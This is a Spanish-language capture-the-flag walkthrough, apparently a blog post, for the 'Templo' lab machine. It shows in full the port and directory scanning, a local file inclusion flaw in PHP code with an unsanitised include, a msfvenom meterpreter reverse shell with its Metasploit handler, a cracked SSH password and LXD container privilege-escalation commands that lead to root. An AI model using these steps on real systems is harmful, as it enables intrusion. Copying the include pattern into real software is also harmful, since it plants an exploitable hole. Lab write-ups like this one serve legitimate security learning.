Templo


Enlace
https://thehackerslabs.com/templo
RECONOCIMIENTO
Escaneo de puertos
└─$ nmap -A 192.168.1.172
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:28 EDT
Nmap scan report for TheHackersLabs-Templo.localdomain (192.168.1.172)
Host is up (0.00038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 bc:8f:97:fa:60:eb:ed:b2:8c:3b:c0:65:3b:48:69:f1 (ECDSA)
|_ 256 f9:b0:9b:20:8f:3a:7b:33:e7:95:a5:43:e7:9b:c6:59 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: RODGAR
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.56 seconds
searchsploit Apache 2.4.58
Web app
Escaneo de directorios
dirb http://192.168.1.172 wordlists/dirb/big.txt -r
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 5 20:10:55 2024
URL_BASE: http://192.168.1.172/
WORDLIST_FILES: wordlists/dirb/big.txt
OPTION: Not Recursive
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://192.168.1.172/ ----
==> DIRECTORY: http://192.168.1.172/css/
==> DIRECTORY: http://192.168.1.172/fonts/
==> DIRECTORY: http://192.168.1.172/images/
==> DIRECTORY: http://192.168.1.172/js/
==> DIRECTORY: http://192.168.1.172/wow/
-----------------
END_TIME: Thu Sep 5 20:11:06 2024
DOWNLOADED: 20458 - FOUND: 1
Entramos a http://192.168.1.172/wow
Luego revisando la pagina web encuentro este mensaje
Procedo a buscar paginas web escondidas con esa palabra como directorio con dirb
http://192.168.1.172/NAMARI/uploads (nos da acceso denegado)
encontramos una página para subir archivos
Colocamos la ruta del sistema /etc/passwd y nos muestra lo siguiente
LFI en la pagina http://192.168.1.172/NAMARI/
Con esta vulnerabilidad podemos enumerar los usuarios del sistema, en este caso encontramos a:
- rodgar
creamos e intentamos subir un reverse Shell de metasploit
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
con eso creamos el revershell
dentro de metasploit configuramos un multi handler, seguidamente lo iniciamos
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
LHOST => [IP]
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse TCP handler on [IP]
Subimos el archivo pero al buscarlo nos damos cuenta que no lo encontramos
Dado que al incluir un archivo podemos referenciar a los archivos de la aplicación web obtenemos el archivo responsable de la subida codificado en base 64
<?php
// Manejo de subida de archivos
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_dir = "uploads/";
// Obtiene el nombre original del archivo y su extensión
$original_name = basename($_FILES["fileToUpload"]["name"]);
$file_extension = pathinfo($original_name, PATHINFO_EXTENSION);
$file_name_without_extension = pathinfo($original_name, PATHINFO_FILENAME);
$rot13_encoded_name = str_rot13($file_name_without_extension);
$new_name = $rot13_encoded_name . '.' . $file_extension;
// Crea la ruta completa para el nuevo archivo
$target_file = $target_dir . $new_name;
// Mueve el archivo subido al directorio objetivo con el nuevo nombre
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
// Mensaje genérico sin mostrar el nombre del archivo
$message = "El archivo ha sido subido exitosamente.";
$message_type = "success";
} else {
$message = "Hubo un error subiendo tu archivo.";
$message_type = "error";
}
}
if (isset($_GET['page'])) {
$file = $_GET['page'];
include($file);
}
Vemos que al subir el archivo codifica el nombre de este con rot13
Probamos acceder al archivo con furyy
Regresamos a la consola de metasploit donde vemos la ejecución del reverse Shell
Buscamos en /opt
Usamos jhon para desencriptar el archivo
Obtenemos esta clave
6rK5£6iqF;o|8dmla859/_
La usamos para acceder por ssh
Ejecutando LinPeas para escanear el sistema vemos el usuario Rodgar con permisos para ejecutar maquinas lxd
Buscamos con searchsploit
Y seguimos las instrucciones del script que nos presentan
Importamos la imagen
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
lxc image import alpine-v…….tar.gz --alias alpine
lxc init alpine hax -c security.privileged=true
En este punto si nos da error colocar
lxd init
aceptar todas las opciones por defecto
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh
En este punto ya tenemos root!
Subscribe to my newsletter
Read articles from xpl0itm4ster directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
